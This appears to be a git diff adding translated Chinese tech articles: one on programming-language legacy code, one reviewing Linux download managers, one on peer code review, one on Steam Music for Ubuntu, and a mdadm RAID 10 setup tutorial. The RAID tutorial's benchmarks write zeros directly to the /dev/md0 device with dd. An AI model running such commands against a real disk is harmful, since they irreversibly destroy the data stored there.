+任何编程语言,存在了超过几十年时间都具有某种形式的遗留代码问题, PHP 也不例外。PHP 是一个很有趣的例子,因为它的遗留代码跟现在的代码明显不同,支持者或评论家都承认这是一个巨大的进步。 + +Andi Gutmans 是已经成为 PHP4 的标准编译器的 Zend Engine 的发明者之一。Gutmans 说他和搭档本来是想改进完善 PHP3 的,他们的工作如此成功,以至于 PHP 的原发明者 Rasmus Lerdorf 也加入他们的项目。结果就成为了 PHP4 和他的后续者 PHP5 的编译器。 + +因此,当今的 PHP 与它的祖先——即最开始的 PHP 是完全不同的。然而,在 Gutmans 看来,在用古老的 PHP 语言版本写的遗留代码的地方一直存在着偏见以至于上升到整个语言的高度。比如 PHP 充满着安全漏洞或没有“集群”功能来支持大规模的计算任务等概念。 + +“批评 PHP 的人们通常批评的是在 1998 年时候的 PHP 版本,”他说。“这些人都没有与时俱进。当今的 PHP 已经有了很成熟的生态系统了。” + +如今,Gutmans 说,他作为一个管理者最重要的事情就是鼓励人们升级到最新版本。“PHP有个很大的社区,足以支持您的遗留代码的问题,”他说。“但总的来说,我们的社区大部分都在 PHP5.3 及以上的。” + +问题是,任何语言用户都不会全部升级到最新版本。这就是为什么 Python 用户仍在使用 2000 年发布的 Python 2,而不是使用 2008 年发布的 Python 3 的原因。甚至在六年后,大多数像 Google 这样的用户仍没有升级。这种情况是多种原因造成的,但它使得很多开发者在承担风险。 + +“任何东西都不会消亡的,”Rabkin 说。“任何语言的遗留代码都会一直存在。重写的代价是非常高昂的,如果它们不出问题就不要去改动。” + +### 开发者是稀缺的资源 ### + +当然,开发者是不会选择那些仅仅只是为了维护老旧代码的的程序语言的。当谈论到对语言选择的偏好时,Rabkin 和 Meyerovich 发现年龄仅仅只代表个数字。Rabkin 告诉我说: + +> 有一件事使我们被深深震撼到了。这事最重要的就是我们给人们按年龄分组,然后询问他们知道多少编程语言。我们主观的认为随着年龄的增长知道的会越来越多,但实际上却不是,25岁年龄组和45岁年龄组知道的语言数目是一样的。几个反复询问的问题这里持续不变的。您知道一种语言的几率并不与您的年龄挂钩。 + +换句话说,不仅仅年长的开发者坚持传统,年轻的程序员也会认可并采用古老的编程语言作为他们的第一们语言。这可能是因为这些语言具有很有趣的开发库及功能特点,也可能是因为在社区里开发者都是喜爱这种开发语言的一伙人。 + +“在全球程序员关注的语言的数量是有定数的,” Rabkin 说。“如果一们语言表现出足够独特的价值,人们将会学习和使用它。如果是和您交流代码和知识的的某个人分享一门编程语言,您将会学习它。因此,例如,只要那些 Python 库存在、 社区也对 Python 语言很有经验的话,那么 Python 仍将会大行其道。” + +研究人员发现关于语言实现的功能,社区是一个巨大的因素。虽然像 Python 和 Ruby 这样的高级语言并没有太大的差别,但,程序员总是容易觉得一种比另一种优越。 + +“Rails 不一定要用 Ruby 语言编写,但它用了,这就是社区因素在起作用,” Rabkin 说。“例如,复活 Objective-C 语言这件事就是苹果的工程师团队说‘让我们使用它吧,’ 他们就没得选择了。” + +通观社会的影响及老旧代码这些问题,我们发现最古老的和最新的计算机语言都有巨大的惰性。Go 语言怎么样才能超越 C 语言呢?如果有合适的人或公司说它超越它就超越。 + +“它归结为谁传播的更好谁就好,” Rabkin 说。 + +开始的图片来自 [Blake Patterson][4] + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/09/02/programming-language-coding-lifetime + +作者:[Lauren Orsini][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://readwrite.com/author/lauren-orsini +[1]:http://en.wikipedia.org/wiki/Brian_Kernighan +[2]:http://en.wikipedia.org/wiki/Dennis_Ritchie +[3]:http://asrabkin.bitbucket.org/papers/oopsla13.pdf +[4]:https://www.flickr.com/photos/blakespot/2444037775/ \ No newline at end of file diff --git a/published/201412/20140915 Make Downloading Files Effortless.md b/published/201412/20140915 Make Downloading Files Effortless.md new file mode 100644 index 0000000000..e4d46564cd --- /dev/null +++ b/published/201412/20140915 Make Downloading Files Effortless.md @@ -0,0 +1,192 @@ +让下载更方便 +================================================================================ +下载管理器是一个电脑程序,专门处理下载文件,优化带宽占用,以及让下载更有条理等任务。有些网页浏览器,例如Firefox,也集成了一个下载管理器作为功能,但是它们的使用方式还是没有专门的下载管理器(或者浏览器插件)那么专业,没有最佳地使用带宽,也没有好用的文件管理功能。 + +对于那些经常下载的人,使用一个好的下载管理器会更有帮助。它能够最大化下载速度(加速下载),断点续传以及制定下载计划,让下载更安全也更有价值。下载管理器已经没有之前流行了,但是最好的下载管理器还是很实用,包括和浏览器的紧密结合,支持类似YouTube的主流网站,以及更多。 + +有好几个能在Linux下工作都非常优秀的开源下载管理器,以至于让人无从选择。我整理了一个摘要,是我喜欢的下载管理器,以及Firefox里的一个非常好用的下载插件。这里列出的每一个程序都是开源许可发布的。 + + +###uGet + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-uGet.png) + +uGet是一个轻量级,容易使用,功能完备的开源下载管理器。uGet允许用户从不同的源并行下载来加快速度,添加文件到下载序列,暂停或继续下载,提供高级分类管理,和浏览器集成,监控剪贴板,批量下载,支持26种语言,以及其他许多功能。 + +uGet是一个成熟的软件;持续开发超过了11年。在这段时间里,它发展成一个非常多功能的下载管理器,拥有一套很高价值的功能集,还保持了易用性。 + +uGet是用C语言开发的,使用了cURL作为底层支持,以及应用库libcurl。uGet有非常好的平台兼容性。它一开始是Linux系统下的项目,但是被移植到在Mac OS X,FreeBSD,Android和Windows平台运行。 + +#### 功能点: #### + +- 容易使用 +- 下载队列可以让下载任务按任意数量或你希望的数量同时进行。 +- 断点续传 +- 默认分类 +- 完美实现的剪贴板监控功能 +- 批量下载 +- 支持从HTML文件导入下载任务 +- 支持通过HTTP,HTTPS,FTP,BitTorrent和Metalink下载 +- 多线程下载(也被称为分块下载):每个下载任务支持最多20个线程同时连接,支持自适应的分块管理,意味着如果某个下载块中断了,那么会其他连接会把它捡起来,以时刻保证最佳的下载速度。 +- 多镜像下载 +- FTP登录和匿名FTP +- 强大的计划任务 +- 通过FlashGot和FireFox集成 +- Aria2插件 +- 多变的主题 +- 安静模式 +- 键盘快捷键 +- 支持命令行/终端控制 +- 自动创建目录 +- 下载历史管理 +- 支持GnuTLS +- 支持26种语言,包括:阿拉伯语,白俄罗斯语,简体中文,繁体中文,捷克语,丹麦语,英语(默认),法语,格鲁吉亚语,德语,匈牙利语,印尼语,意大利语,波兰语,葡萄牙语(巴西),俄语,西班牙语,土耳其语,乌克兰语,以及越南语。 + +--- + +- 网站:[ugetdm.com][1] +- 开发人员:C.H. Huang and contributors +- 许可:GNU LGPL 2.1 +- 版本:1.10.5 + + +###DownThemAll! + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-DownThemAll%21.png) + +DownThemAll!是一个小巧可靠的、易用的开源下载管理器/加速器,是Firefox的一个组件。它可以让用户下载一个页面上所有链接和图片,还有更多功能。它可以让用户完全控制下载任务,随时分配下载速度以及同时下载的任务数量。通过使用Metalinks或者手动添加镜像的方式,可以同时从不同的服务器下载同一个文件。 + +DownThemAll会根据你要下载的文件大小,切割成不同的部分,然后并行下载。 + +#### 功能点: #### + +- 和Firefox的完全集成 +- 分块下载,允许用户下载不同的文件块,完成之后再拼接成完整的文件;这样的话当连接到一个缓慢的服务器的时候可以加快下载速度。 +- 支持Metalink,允许发送下载文件的多个URL以及它的校验值和其他信息到DTA +- 支持爬虫方式通过一个单独的链接遍历整个网页 +- 下载过滤 +- 高级重命名选项 +- 暂停和继续下载任务 + +--- + +- 网站:[addons.mozilla.org/en-US/firefox/addon/downthemall][2] +- 开发人员:Federico Parodi, Stefano Verna, Nils Maier +- 许可:GNU GPL v2 +- 版本:2.0.17 + +---------- + +###JDownloader + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-JDownloader.png) + +JDownloader是一个免费,开源的下载管理工具,拥有一个大型社区的开发者支持,让下载更简单和快捷。用户可以开始,停止或暂停下载,设置带宽限制,自动解压缩包,以及更多功能。它提供了一个容易扩展的框架。 + +JDownloader简化了从一键下载网站下载文件。它还支持从不同并行资源下载、手势识别、自动文件解压缩以及更多功能。另外,还支持许多“加密链接”网站-所以你只需要复制粘贴“加密的”链接,然后JDownloader会处理剩下的事情。JDownloader还能导入CCF,RSDF和DLC文件。 + +#### 功能点: #### + +- 一次下载多个文件 +- 从多个连接同时下载 +- JD有一个自己实现的强大的OCR模块 +- 自动解压(包括密码搜索)(RAR压缩包) +- 支持主题 +- 支持多国语言 +- 大约110个站点以及超过300个解密插件 +- 通过JDLiveHeaderScripts重连:(支持1400路由) +- 网页更新 +- 集成包管理器支持额外模块(例如,Webinterface,Shutdown) + +--- + +- 网站:[jdownloader.org][3] +- 开发人员:AppWork UG +- 许可:GNU GPL v3 +- 版本:0.9.581 + +---------- + +###FreeRapid Downloader + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-FreeRapidDownloader.png) + +FreeRapid Downloader是一个易用的开源下载程序,支持从Rapidshare,Youtube,Facebook,Picasa和其他文件分享网站下载。他的下载引擎基于一些插件,所以可以从那些特别的站点下载。 + +对于需要针对特定文件分享网站的下载管理器用户来说,FreeRapid Downloader是理想的选择。 + +FreeRapid Downloader使用Java语言编写。需要至少Sun Java 7.0版本才可以运行。 + +#### 功能点: #### + +- 容易使用 +- 支持从不同服务站点并行下载 +- 支持断点续传 +- 支持通过代理列表下载 +- 支持流视频或图片 +- 下载历史 +- 聪明的剪贴板监控 +- 自动检查服务器文件后缀 +- 自动关机选项 +- 插件自动更新 +- 简单验证码识别 +- 支持跨平台 +- 支持多国语言:英语,保加利亚语,捷克语,芬兰语,葡萄牙语,斯洛伐克语,匈牙利语,简体中文,以及其他 +- 支持超过700个站点 + +--- + +- 网站:[wordrider.net/freerapid/][4] +- 开发人员:Vity and contributors +- 许可:GNU GPL v2 +- 版本:0.9u4 + +---------- + +###FlashGot + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-FlashGot.png) + +FlashGot是一个Firefox和Thunderbird的免费组件,旨在通过外置下载管理器来处理单个和大规模(“所有”和“已选”)下载。 + +FlashGot把所支持的所有下载管理器统一成Firefox中的一个下载管理器。 + +#### 功能点: #### + +- Linux下支持:Aria, Axel Download Accelerator, cURL, Downloader 4 X, FatRat, GNOME Gwget, FatRat, JDownloader, KDE KGet, pyLoad, SteadyFlow, uGet, wxDFast 和 wxDownload Fast +- 支持图库功能,可以帮助把原来分散在不同页面的系列资源,整合到一个所有媒体库页面中,然后可以轻松迅速地“下载所有” +- FlashGot Link会使用默认下载管理器下载当前鼠标选中的链接 +- FlashGot Selection +- FlashGot All +- FlashGot Tabs +- FlashGot Media +- 抓取页面里所有链接 +- 抓取所有标签栏的所有链接 +- 链接过滤(例如只下载指定类型文件) +- 在网页上抓取点击所产生的所有链接 +- 支持从大多数链接保护和文件托管服务器直接和批量下载 +- 隐私选项 +- 支持国际化 + +--- + +- 网站:[flashgot.net][5] +- 开发人员:Giorgio Maone +- 许可:GNU GPL v2 +- 版本:1.5.6.5 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20140913062041384/DownloadManagers.html + +作者:Frazer Kline +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ugetdm.com/ +[2]:https://addons.mozilla.org/en-US/firefox/addon/downthemall/ +[3]:http://jdownloader.org/ +[4]:http://wordrider.net/freerapid/ +[5]:http://flashgot.net/ diff --git a/published/201412/20141004 Practical Lessons in Peer Code Review.md b/published/201412/20141004 Practical Lessons in Peer Code Review.md new file mode 100644 index 0000000000..62aed439ef --- /dev/null +++ b/published/201412/20141004 Practical Lessons in Peer Code Review.md @@ -0,0 +1,97 @@ +# 同等代码审查(Peer Code Review)实战经验 # + +我有时候会听到我们的团队成员这样议论: + +"项目的Code review 只是浪费时间。" + +"我没有时间做Code review。" + +"我的发布时间延迟了,因为我的同事还没有完成我代码的Code review。" + +"你相信我的同事居然要求我对我的代码做修改吗?请跟他们说代码中的一些联系会被打断——如果在我原来代码的基础之上做修改的话。" + +(LCTT 译注:Code Review中文可以翻译成代码复查,一般由开发待review的代码的成员以外的团队成员来进行这样的工作。由于是专业术语,没有将Code review用中文代替。) + +### 为什么要做Code review? ### + +每个专业软件开发者都有一个重要的目标:持续的提高他们的工作质量。即使你团队中都是一些优秀的程序员,但是你依然不能将你自己与一个有能力的自由职业者区分开来,除非你从团队的角度来工作。Code review是团队工作的一个重要的方面。尤其是: + +代码复查者(reviewer)能从他们的角度来发现问题并且提出更好的解决方案。 + +确保至少你团队的另一个其他成员熟悉你的代码,通过给新员工看有经验的开发者的代码能够某种程度上提高他们的水平。 + +公开reviewer和被复查者的想法和经验能够促进团队间的知识的分享。 + +能够鼓励开发者将他们的工作进行的更彻底,因为他们知道他们的代码将被其他的人阅读。 + +### 在review的过程中的注意点 ### + +但是,由于Code review的时间有限,上面所说的目标未必能全部达到。就算只是想要打一个补丁,都要确保意图是正确的。如果只是将变量名改成骆驼拼写法(camelCase),那不算是code review。在开发过程中进行结对编程是有益处的,它能够使两个人得到公平的锻炼。你能够在code review上花许多时间,并且仍然能够比在结对编程中使用更少的时间。 + +我的感受是,在项目开发的过程中,25%的时间应该花费在code review上。也就是说,如果开发者用两天的时间来开发一个东西,那么复查者应该使用至少四个小时来审查。 + +当然,只要你的review结果准确的话,具体花了多少时间就显得不是那么的重要。重要的是,你能够理解你看的那些代码。这里的理解并不是指你看懂了这些代码书写的语法,而是你要知道这段代码在整个庞大的应用程序、组件或者库中起着什么样的作用。如果你不理解每一行代码的作用,那么换句话说,你的code review就是没有价值的。这就是为什么好的code review不能很快完成的原因。需要时间来探讨各种各样的代码路径,让它们触发一个特定的函数,来确保第三方的API得到了正确的使用(包括一些边缘测试)。 + +为了查阅你所审查的代码的缺陷或者是其他问题,你应该确保: + +- 所有必要的测试都已经被包含进去。 + +- 合理的设计文档已经被编写。 + +再熟练的开发者也不是每次都会记得在他们对代码改动的时候把测试程序和文档更新上去。来自reviewer的一个提醒能够使得测试用例和开发文档不会一直忘了更新。 + +### 避免code review负担太大 ### + +如果你的团队没有强制性的code review,当你的code review记录停留在无法管理的节点上时会很危险。如果你已经两周没有进行code review了,你可以花几天的时间来跟上项目的进度。这意味着你自己的开发工作会被阻断,当你想要处理之前遗留下来的code review的时候。这也会使得你很难再确保code review的质量,因为合理的code review需要长期认真的努力,最终会很难持续几天都保持这样的状态。 + +由于这个原因,开发者应当每天都完成他们的review任务。一种好办法就是将code review作为你每天的第一件事。在你开始自己的开发工作之前完成所有的code review工作,能够使你从头到尾都集中注意力。有些人可能更喜欢在午休前或午休后或者在傍晚下班前做review。无论你在哪个时间做,都要将code review看作你的工作之一并且不能分心,你要避免: + +- 没有足够的时间来处理你的review任务。 + +- 由于你的code review工作没有做完导致版本的推迟发布。 + +- 提交不再相关的review,由于代码在你review期间已经改动太大。 + +- 因为你要在最后一分钟完成他们,以至于review质量太差。 + +### 书写易于review的代码 ### + +有时候review没有按时完成并不都是因为reviewer。如果我的同事使用一周时间在一个大工程中添加了一些乱七八糟的代码,且他们提交的补丁实在是太难以阅读。在一段代码中有太多的东西要浏览。这样会让人难以理解它的作用,自然会拖慢review的进度。 + +为什么将你的工作划分成一些易于管理的片段很重要有很多原因。我们使用scrum方法论(一种软件开发过程方法),因此对我们来说一个合理的单元就是一个story。通过努力将我们的工作使用story组织起来,并且只是将review提交到我们正在工作的story上,这样,我们写的代码就会更加易于review。你们也可以使用其他的软件开发方法,但是目的是一样的。 + +书写易于review的代码还有其他先决条件。如果要做一些复杂的架构决策,应该让reviewer事先知道并参与讨论。这会让他们之后review你们的代码更加容易,因为他们知道你们正在试图实现什么功能并且知道你们打算如何来实现。这也避免了开发者需要在reviewer提了一个不同的或者更好的解决方案后大片的重写代码。 + +项目需要应当在设计文档中详细的描述。这对于一个项目新成员想要快速上手并且理解现有的代码来说非常重要。这从长远角度对于一个reviewer来说也非常有好处。单元测试也有助于reviewer知道一些组件是怎么使用的。 + +如果你在你的补丁中包含的第三方的代码,记得单独的提交它。当jQuery的9000行代码被插入到了项目代码的中间,毫无疑问会造成难以阅读。 + +创建易读的review代码的另一个非常重要的措施是添加相应的注释代码。这就要求你事先自己做一下review并且在一些你认为会帮助reviewer进行review的地方加上相应的注释。我发现加上注释相对于你来说往往只需要很短的时间(通常是几分钟),但是对于review来说会节约很多的时间。当然,代码注释还有其他相似的好处,应该在合理的地方使用,但往往对code review来说更重要。事实上,有研究表明,开发者在重读并注释他们代码的过程中,通常会发现很多问题。 + +### 代码大范围重构的情况 ### + +有时候,有必要重构一段代码使其能够作用于多个其他组件。若是一个大型的应用要这样做,会花费几天甚至是更多的时间,结果是生成一个诺大的补丁包。在这种情况下,进行一个标准的code review可能是不切实际的。 + +最好的方法是增量重构你的代码。找出合理范围内的一部分改变,以此为基础来重构。一旦修改和review完成,进入第二个增量。以此类推,直到整个重构完成。这种方法可能不是在所有的情况下都可行,但是尽管如此,也能避免在重构时出现大量的单片补丁。开发者使用这种方式重构可能会花去更多的时间,但这也使得代码质量更高并且之后的review会更简单。 + +如果实在是没有条件去通过增量方式重构代码(有人可能会说之前的代码书写并组织的是多么的好),一种解决方案是在重构时进行结对编程来代替code review。 + +### 解决团队成员之间的纠纷 ### + +你的团队中都是一些有能力的专家,在一些案例中,完全有可能因为对一个具体编码问题的意见的不同而产生争论。作为一个开发者,应该保持一个开发的头脑并且时刻准备着妥协,当你的reviewer更想要另一种解决方法时。不要对你的代码持有专有的态度,也不要自己持有审查的意见。因为有人会觉得你应该将一些重复的代码写入一个能够复用的函数中去,这并不意味着这是你的问题。 + +作为一个reviewer,要灵活。在提出修改建议之前,考虑你的建议是否真的更好或者只是无关紧要。如果你把力气和注意力花在那些原来的代码会明确需要改进的地方会更加成功。你应该说"它或许值得考虑..."或者"一些人建议..."而不是”我的宠物都能写一个比这个更加有效的排序方法"。 + +如果你真的决定不了,那就询问另一个你及你所审查的人都尊敬的开发者来听一下你意见并给出建议。 + +-------------------------------------------------------------------------------- + +via: http://blog.salsitasoft.com/practical-lessons-in-peer-code-review/ + +作者:Matt +译者:[john](https://github.com/johnhoow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + diff --git a/published/201412/20141008 How To Use Steam Music Player on Ubuntu Desktop.md b/published/201412/20141008 How To Use Steam Music Player on Ubuntu Desktop.md new file mode 100644 index 0000000000..bf066178a4 --- /dev/null +++ b/published/201412/20141008 How To Use Steam Music Player on Ubuntu Desktop.md @@ -0,0 +1,79 @@ +如何在Ubuntu桌面上使用Steam Music音乐播放器 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/steam-music.jpg) + +**‘音乐让人们走到一起’ 麦当娜曾这样唱道。但是Steam的新音乐播放器特性能否很好的混搭小资与叛逆?** + +如果你曾与世隔绝,充耳不闻,你就会错过与Steam Music的相识。它的特性并不是全新的。从今年的早些时候开始,它就已经以这样或那样的形式进行了测试。 + +但Steam客户端最近一次在Windows、Mac和Linux上的定期更新中,所有的客户端都能使用它了。你会问为什么一个游戏客户端会添加一个音乐播放器呢?当然是为了让你能一边玩游戏一边一边听你最喜欢的音乐了。 + +别担心:在游戏的音乐声中再加上你自己的音乐,听起来并不会像你想象的那么糟(哈哈)。Steam会帮你减少或消除游戏的背景音乐,但在混音器中保持效果音的高音量,以便于你能和平时一样听到那些叮,嘭和各种爆炸声。 + +### 使用Steam Music音乐播放器 ### + +![Music in Big Picture Mode](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/steam-music-bpm.jpg) + +*大图模式* + +任何使用最新版客户端的人都能使用Steam Music音乐播放器。它是个相当简单的附加程序:它让你能从你的电脑中添加、浏览并播放音乐。 + +播放器可以以两种方式进入:桌面和(超棒的)Steam大图模式。在两种方式下,控制播放都超级简单。 + +作为一个Rhythmbox的对手或是Spotify的继承者,把**为玩游戏时放音乐而设计**作为特点一点也不吸引人。事实上,他没有任何可购买音乐的商店,也没有整合Rdio,Grooveshark这类在线服务或是桌面服务。没错,你的多媒体键在Linux的播放器上完全不能用。 + +Valve说他们“*……计划增加更多的功能以便用户能以新的方式体验Steam Music。我们才刚刚开始。*” + +#### Steam Music的重要特性:#### + +- 只能播放MP3文件 +- 与游戏中的音乐相融 +- 在游戏中可以控制音乐 +- 播放器可以在桌面上或在大图模式下运行 +- 基于播放列表的播放方式 + +**它没有整合到Ubuntu的声音菜单里,而且目前也不支持键盘上的多媒体键。** + +### 在Ubuntu上使用Steam Music播放器 ### + +显然,添加音乐是你播放音乐前的第一件事。在Ubuntu上,默认设置下,Steam会自动添加两个文件夹:Home下的标准Music目录和它自带的Steam Music文件夹。任何可下载的音轨都保存在其中。 + +注意:目前**Steam Music只能播放MP3文件**。如果你的大部分音乐都是其他文件格式(比如.acc、.m4a等等),这些文件不会被添加也不能被播放。 + +若想添加其他的文件夹或重新扫描: + +- 到**View > Settings > Music**。 +- 点击‘**Add**‘将其他位置的文件夹添加到已列出两个文件夹的列表下。 +- 点击‘**Start Scanning**’ + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/Tardis.jpg) + +你还可以在这个对话框中调整其他设置,包括‘scan at start’。如果你经常添加新音乐而且很容易忘记手动启动扫描,请标记此项。你还可以选择当路径变化时是否显示提示,设置默认的音量,还能调整当你打开一个应用软件或语音聊天时的播放状态的改变。 + +一旦你的音乐源成功的被添加并扫描后,你就可以通过主客户端的**Library > Music**区域浏览你的音乐了。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/browser.jpg) + +Steam Music会默认的将音乐按照专辑进行分组。若想按照乐队名进行浏览,你需要点击‘Albums’然后从下拉菜单中选择‘Artists’。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/steam-selection.jpg) + +Steam Music是一个以‘队列’方式工作的系统。你可以通过双击浏览器里的音乐或右键单击并选择‘Add to Queue’来把音乐添加到播放队列里。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/steam-music-queue.jpg) + +若想**启动桌面播放器**请点击右上角的音符图标或通过**View > Music Player**菜单。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/10/steam-music.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/10/use-steam-music-player-linux + +作者:[Joey-Elijah Sneddon][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author diff --git a/published/201412/20141009 How to set up RAID 10 for high performance and fault tolerant disk I or O on Linux.md b/published/201412/20141009 How to set up RAID 10 for high performance and fault tolerant disk I or O on Linux.md new file mode 100644 index 0000000000..44dc70eca7 --- /dev/null +++ b/published/201412/20141009 How to set up RAID 10 for high performance and fault tolerant disk I or O on Linux.md @@ -0,0 +1,140 @@ +如何在Linux上构建 RAID 10阵列 +================================================================================ + +RAID 10阵列(又名RAID 1+0 或先镜像后分区)通过结合RAID 0 (读写操作在多个磁盘上同时并行执行)和RAID 1(数据被完全相同地写入到两个或更多的磁盘)两者的特点实现高性能和高容错性的磁盘I/O。 + +这篇文章会指导你如何使用五块相同的8GB磁盘来组成一个软件RAID 10阵列。因为组成一个RAID 10阵列至少需要4块磁盘(比如,两个镜像各有一对分区组合),而且需要添加一块额外的备用磁盘以防某块主要的磁盘出错。本文也会分享一些工具,在稍后用来分析RAID阵列的性能。 + +注意RAID 10的优缺点和其它分区方法(在不同大小的磁盘和文件系统上)的内容不在本文讨论范围内。 + +### Raid 10 阵列如何工作? ### + +如果你需要实现一种支持I/O密集操作(比如数据库、电子邮件或web服务器)的存储解决方案,RAID 10就是你需要的。来看看为什么这么说,请看下图。 + +![](https://farm4.staticflickr.com/3844/15179003008_e48806b3ef_o.png) + +上图中的文件由A、B、C、D、E和F六种块组成,每一个RAID 1镜像对(如镜像1和2)在两个磁盘上复制相同的块。在这样的配置下,写操作性能会因为每个块需要写入两次而下降,每个磁盘各一次;而读操作与从单块磁盘中读取相比并未发生改变。不过这种配置的好处是除非一个镜像中有超过一块的磁盘故障,否则都能保持冗余以维持正常的磁盘I/O操作。 + +RAID 0的分区通过将数据划分到不同的块,然后执行同时将块A写入镜像1、将块B写入镜像2(以此类推)的并行操作以提高整体的读写性能。在另一方面,没有任何一个镜像包含构成主存的数据片的全部信息。这就意味着如果其中一个镜像故障,那么整个RAID 0组件将无法正常工作,数据将遭受不可恢复的损失。 + +### 建立RAID 10阵列 ### + +有两种建立RAID 10阵列的可行方案:复杂法(一步完成)和嵌套法(先创建两个或更多的RAID 1阵列,然后使用它们组成RAID 0)。本文会讲述复杂法创建RAID 10阵列的过程,因为这种方法能够使用偶数或奇数个磁盘去创建阵列,而且能以单个RAID设备的形式被管理,而嵌套法则恰恰相反(只允许偶数个磁盘,必须以嵌套设备的形式被管理,即分开管理RAID 1和RAID 0)。 + +假设你的机器已经安装mdadm,并运行着相应的守护进程,细节参见[这篇文章][1]。也假设每个磁盘上已经划分出一个主分区sd[bcdef]1 (LCTT 译注:共计五块磁盘,这里是从sdb - sdf)。使用命令: + + ls -l /dev | grep sd[bcdef] + +查看到的输出应该如下所示: + +![](https://farm3.staticflickr.com/2944/15365276992_db79cac82a.jpg) + +然后使用下面的命令创建一个RAID 10阵列(LCTT 译注:使用了四块磁盘 bcde 创建): + + # mdadm --create --verbose /dev/md0 --level=10 --raid-devices=4 /dev/sd[bcde]1 --spare-devices=1 /dev/sdf1 + +![](https://farm3.staticflickr.com/2946/15365277042_28a100baa2_z.jpg) + +当阵列创建完毕后(最多花费几分钟),执行命令 + + # mdadm --detail /dev/md0 + +的输出应如下所示: + +![](https://farm3.staticflickr.com/2946/15362417891_7984c6a05f_o.png) + +在更进一步之前需要注意以下事项。 + +1. **Used Dev Space**表示阵列所使用的每一块磁盘的容量。 + +2. **Array Size**表示阵列的整体大小。RAID 10阵列的大小通过(N\*C)/M计算,其中N是活跃磁盘的数目,C是每个活跃磁盘的容量,M是每一个镜像中磁盘的数目。在本文的情形下,这个值等于(4*8GiB)/2 = 16GiB。 + +3. **Layout**是整个数据布局的详细信息。可能的布局数值如下所示。 + +---------- + +- **n**(默认选项):代表就近(near)拷贝。一个数据块的多个拷贝在不同磁盘里有相同的偏移量。这种布局提供和RAID 0阵列相似的读写性能。 + +![](https://farm3.staticflickr.com/2941/15365413092_0aa41505c2_o.png) + +- **o**代表偏移量(offset)拷贝。块并不是在条带里面复制的,而是整个条带一起复制,但是循环会打乱,所以同一个分区中复制的块会出现在不同的磁盘。因此,一个块的后续拷贝会出现在下一个磁盘中,一个块接着一个块。为了在RAID 10阵列中使用这种布局,在创建阵列的命令中添加--layout=o2选项。 + +![](https://farm3.staticflickr.com/2944/15178897580_6ef923a1cb_o.png) + +- **f**代表远端(far)拷贝(多个拷贝在不同的磁盘中具有不同的偏移量)。这种布局提供更好的读性能但带来更差的写性能。因此,对于读远远多于写的系统来说是最好的选择。为了在RAID 10阵列中使用这种布局,在创建阵列的命令中添加--layout=f2。 + +![](https://farm3.staticflickr.com/2948/15179140458_4a803bb194_o.png) + +跟在布局选项**n**、**f**和**o**后面的数字代表所需的每一个数据块的副本数目。默认值是2,但可以是2到阵列中磁盘数目之间的某个值。提供足够的副本数目可以最小化单个磁盘上的I/O影响。 + +4. **Chunk Size**,参考[Linux RAID wiki][2]的说明,是写入磁盘的最小数据单元。最佳的chunk大小取决于I/O操作的速率和相关的文件大小。对于大量的写操作,通过设置相对较大的chunk可以得到更低的开销,但对于主要存储小文件的阵列来说更小的chunk性能更好。为了给RAID 10指定一个chunk大小,在创建阵列的命令中添加**--chunk=desired_chunk_size**。 + +不幸的是,并没有设置一个大小就能适合全局的策略来提高性能,但可以参考下面的一些方案。 + +- 文件系统:就整体而言,[XFS][3]据说是最好的,当然EXT4也是不错的选择。 +- 最佳布局:远端布局能提高读性能,但会降低写性能。 +- 副本数目:更多的副本能最小化I/O影响,但更多的磁盘需要更大的花费。 +- 硬件:在相同的环境下,SSD比传统(机械旋转)磁盘更能带来出性能提升 + +### 使用DD进行RAID性能测试 ### + +下面的基准测试用于检测RAID 10阵列(/dev/md0)的性能。 + +#### 1. 写操作 #### + +往磁盘中写入大小为256MB的单个文件: + + # dd if=/dev/zero of=/dev/md0 bs=256M count=1 oflag=dsync + +写入1000次512字节: + + # dd if=/dev/zero of=/dev/md0 bs=512 count=1000 oflag=dsync + +使用dsync标记,dd可以绕过文件系统缓存,在RAID阵列上执行同步写。这个选项用于减少RAID性能测试中缓存的影响。 + +#### 2. 读操作 #### + +从阵列中拷贝256KiB*15000(3.9 GB)大小内容到/dev/null: + + # dd if=/dev/md0 of=/dev/null bs=256K count=15000 + +### 使用Iozone进行RAID性能测试 ### + +[Iozone][4]是一款文件系统基准测试工具,用来测试各种磁盘I/O操作,包括随机读写、顺序读写和重读重写。它支持将结果导出为微软的Excel或LibreOffice的Calc文件。 + +#### 在CentOS/RHEL 7上安装Iozone #### + +先保证[Repoforge][5]可用,然后输入: + + # yum install iozone + +#### 在Debian 7上安装Iozone #### + + # aptitude install iozone3 + +下面的iozone命令会在RAID-10阵列中执行所有测试: + + # iozone -Ra /dev/md0 -b /tmp/md0.xls + +- **-R**:往标准输出生成兼容Excel的报告 +- 